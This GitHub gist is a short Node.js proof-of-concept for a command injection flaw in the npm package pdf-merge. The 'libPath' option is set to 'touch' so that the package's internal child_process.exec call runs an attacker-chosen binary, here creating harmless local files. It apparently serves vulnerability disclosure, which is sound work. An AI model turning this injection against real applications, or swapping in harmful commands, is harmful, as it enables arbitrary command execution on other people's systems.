Skip to content

Instantly share code, notes, and snippets.

@mcoimbra
Created October 29, 2023 14:44
Show Gist options
  • Save mcoimbra/2b006361010d6cf27b99b8dea5a7753a to your computer and use it in GitHub Desktop.
Save mcoimbra/2b006361010d6cf27b99b8dea5a7753a to your computer and use it in GitHub Desktop.
Package pdf-merge: it is possible to inject a custom binary and arguments for example to create a local file.
'use strict'
const pkg = require('pdf-merge');
const args = ['exploited.txt', ''];
const options = {
libPath: 'touch'
};
/*
* Internally, child_process.exec will receive the following 'args' array:
* args = ["'exploited.txt'", '', 'cat', 'output', '/tmp/tmp-51678QKAWg57RLnT9']
* This will create local files 'exploited.txt', 'cat' and 'output'.
*/
pkg(args, options);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment